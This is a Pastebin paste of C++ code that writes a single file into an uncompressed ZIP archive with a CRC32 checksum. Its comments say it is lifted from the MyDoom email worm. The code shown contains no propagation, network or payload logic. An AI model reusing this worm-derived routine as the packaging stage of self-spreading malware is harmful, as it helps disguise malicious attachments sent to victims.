FlyFar

Ziplt.cpp

Mar 26th, 2024
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.45 KB | Cybersecurity | 0 0
  1. /********************************************
  2. * Based on I-WORM.MYDOOM.A  Imported my own
  3. * algorithm to create a 32-bit crc table
  4. ********************************************/
  5.  
  6. #define WIN32_LEAN_AND_MEAN
  7. #include <windows.h>
  8. #include <stdio.h>
  9. #pragma pack(push, 1)
  10.  
  11. /* The structures for creating the zip file */
  12. struct zip_header_t {
  13.     DWORD signature;       
  14.     WORD ver_needed;
  15.     WORD flags;
  16.     WORD method;
  17.     WORD lastmod_time;
  18.     WORD lastmod_date;
  19.     DWORD crc;
  20.     DWORD compressed_size;
  21.     DWORD uncompressed_size;
  22.     WORD filename_length;
  23.     WORD extra_length;
  24. };
  25.  
  26. struct zip_eod_t {
  27.     DWORD signature;       
  28.     WORD disk_no;
  29.     WORD disk_dirst;
  30.     WORD disk_dir_entries;
  31.     WORD dir_entries;
  32.     DWORD dir_size;
  33.     DWORD dir_offs;
  34.     WORD comment_len;
  35. };
  36.  
  37. struct zip_dir_t {
  38.     DWORD signature;   
  39.     WORD made_by;
  40.     WORD ver_needed;
  41.     WORD flags;
  42.     WORD method;
  43.     WORD lastmod_time;
  44.     WORD lastmod_date;
  45.     DWORD crc;
  46.     DWORD compressed_size;
  47.     DWORD uncompressed_size;
  48.     WORD filename_length;
  49.     WORD extra_length;
  50.     WORD comment_length;
  51.     WORD disk_no;
  52.     WORD internal_attr;
  53.     DWORD external_attr;
  54.     DWORD local_offs;
  55. };
  56. #pragma pack(pop)
  57.  
  58.  
  59.  
  60.  
  61. unsigned long crc32(unsigned long crc, const unsigned char *buf, int len)
  62.                    
  63. {
  64.     #define CRC32_POLYNOMIAL 0xEDB88320  //the standard PKZIP polynomial
  65. unsigned long crc_table[256];
  66.     unsigned long crc32;
  67.     int i, j;
  68.  
  69.     for (i = 0; i < 256; i++) { //this is where my algorithm starts
  70.         crc32 = i;
  71.         for (j = 8; j > 0; j--) {
  72.             if (crc32 & 1)
  73.                 crc32 = (crc32 >> 1) ^ CRC32_POLYNOMIAL;
  74.             else
  75.                 crc32 >>= 1;
  76.         }
  77.         crc_table[i] = crc32;
  78.     }
  79.  
  80. /* Mark Adler stuff taken from zlib.c */
  81.  
  82.   if (buf == NULL) return 0L;
  83. #define CRC32(c, b) (crc_table[((int)(c) ^ (b)) & 0xff] ^ ((c) >> 8))
  84. #define DO1(buf)  crc = CRC32(crc, *buf++)
  85. #define DO2(buf)  DO1(buf); DO1(buf)
  86. #define DO4(buf)  DO2(buf); DO2(buf)
  87. #define DO8(buf)  DO4(buf); DO4(buf)
  88.   crc = crc ^ 0xffffffffL;
  89. #ifndef NO_UNROLLED_LOOPS
  90.   while (len >= 8) {
  91.     DO8(buf);
  92.     len -= 8;
  93.   }
  94. #endif
  95.   if (len) do {
  96.     DO1(buf);
  97.   } while (--len);
  98.   return crc ^ 0xffffffffL;    
  99. }
  100. //from here on down is mydoom bullshit
  101. static void zip_putcurtime(WORD *f_time, WORD *f_date)
  102. {
  103.     SYSTEMTIME systime;
  104.  
  105.     GetSystemTime(&systime);
  106.     if ((systime.wYear < 1999) || (systime.wYear > 2010))
  107.         systime.wYear = 2004;
  108.     if (systime.wMonth < 1 || systime.wMonth > 12) systime.wMonth = 1;
  109.     if (systime.wDay < 1 || systime.wDay > 31) systime.wDay = 10;
  110.  
  111.     *f_date =
  112.         ((systime.wYear-1980) << 9) |
  113.         (systime.wMonth << 5) |
  114.         systime.wDay;
  115.  
  116.     *f_time =
  117.         (systime.wHour << 11) |
  118.         (systime.wMinute << 5) |
  119.         (systime.wSecond / 2);
  120. }
  121.  
  122. static unsigned long zip_calc_crc32(HANDLE hFileIn)
  123. {
  124.     unsigned long reg, i;
  125.     unsigned char buf[1024];
  126.     SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
  127.     for (reg=0;;) {
  128.         i = 0;
  129.         if (ReadFile(hFileIn, buf, sizeof(buf), &i, NULL) == 0) break;
  130.         if (i == 0) break;
  131.         reg = crc32(reg, buf, i);
  132.     }
  133.     SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
  134.     return reg;
  135. }
  136.  
  137. int zip_store(char *in, char *out, char *store_as)
  138. {
  139.     HANDLE hFileIn, hFileOut;
  140.     struct zip_header_t hdr1;
  141.     struct zip_eod_t eod1;
  142.     struct zip_dir_t dir1;
  143.     char buf[1024];
  144.     unsigned long i, j, offs;
  145.  
  146.     hFileIn = CreateFile(in, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE,
  147.         NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  148.     if (hFileIn == INVALID_HANDLE_VALUE || hFileIn == NULL)
  149.         return 1;
  150.     hFileOut = CreateFile(out, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
  151.         NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  152.     if (hFileOut == INVALID_HANDLE_VALUE || hFileOut == NULL) {
  153.         CloseHandle(hFileIn);
  154.         return 2;
  155.     }
  156.  
  157.     memset(&hdr1, '\0', sizeof(hdr1));
  158.     memset(&dir1, '\0', sizeof(dir1));
  159.     memset(&eod1, '\0', sizeof(eod1));
  160.     offs = 0;
  161.  
  162.     hdr1.signature = 0x04034b50;
  163.     dir1.ver_needed = hdr1.ver_needed = 10;
  164.     dir1.flags = hdr1.flags = 0;
  165.     dir1.method = hdr1.method = 0;
  166.     zip_putcurtime(&hdr1.lastmod_time, &hdr1.lastmod_date);
  167.     dir1.lastmod_time = hdr1.lastmod_time;
  168.     dir1.lastmod_date = hdr1.lastmod_date;
  169.     hdr1.crc = zip_calc_crc32(hFileIn);
  170.     dir1.crc = hdr1.crc;
  171.  
  172.     hdr1.compressed_size = GetFileSize(hFileIn, NULL);
  173.     dir1.compressed_size = hdr1.compressed_size;
  174.     hdr1.uncompressed_size = GetFileSize(hFileIn, NULL);
  175.     dir1.uncompressed_size = hdr1.uncompressed_size;
  176.     hdr1.filename_length = lstrlen(store_as);
  177.     dir1.filename_length = hdr1.filename_length;
  178.     dir1.extra_length = hdr1.extra_length = 0;
  179.  
  180.     dir1.local_offs = offs;
  181.  
  182.     WriteFile(hFileOut, &hdr1, sizeof(hdr1), &i, NULL);
  183.     offs += sizeof(hdr1);
  184.     WriteFile(hFileOut, store_as, lstrlen(store_as), &i, NULL);
  185.     offs += lstrlen(store_as);
  186.     SetFilePointer(hFileIn, 0, NULL, FILE_BEGIN);
  187.     for (;;) {
  188.         i = 0;
  189.         if (ReadFile(hFileIn, buf, sizeof(buf), &i, NULL) == 0) break;
  190.         if (i == 0) break;
  191.         WriteFile(hFileOut, buf, i, &j, NULL);
  192.         offs += i;
  193.     }
  194.  
  195.     eod1.dir_offs = offs;
  196.  
  197.     dir1.signature = 0x02014b50;
  198.     dir1.made_by = 20;     
  199.     dir1.internal_attr = 0;
  200.     dir1.external_attr = 0x20; 
  201.     WriteFile(hFileOut, &dir1, sizeof(dir1), &i, NULL);
  202.     offs += sizeof(dir1);
  203.     WriteFile(hFileOut, store_as, lstrlen(store_as), &i, NULL);
  204.     offs += lstrlen(store_as);
  205.  
  206.     eod1.signature = 0x06054b50;
  207.     eod1.disk_no = 0;
  208.     eod1.disk_dirst = 0;
  209.     eod1.disk_dir_entries = 1;
  210.     eod1.dir_entries = eod1.disk_dir_entries;
  211.     eod1.dir_size = offs - eod1.dir_offs;
  212.     eod1.comment_len = 0;
  213.     WriteFile(hFileOut, &eod1, sizeof(eod1), &i, NULL);
  214.  
  215.     CloseHandle(hFileOut);
  216.     CloseHandle(hFileIn);
  217.     return 0;
  218. }
  219.  
  220.  
Add Comment
Please, Sign In to add comment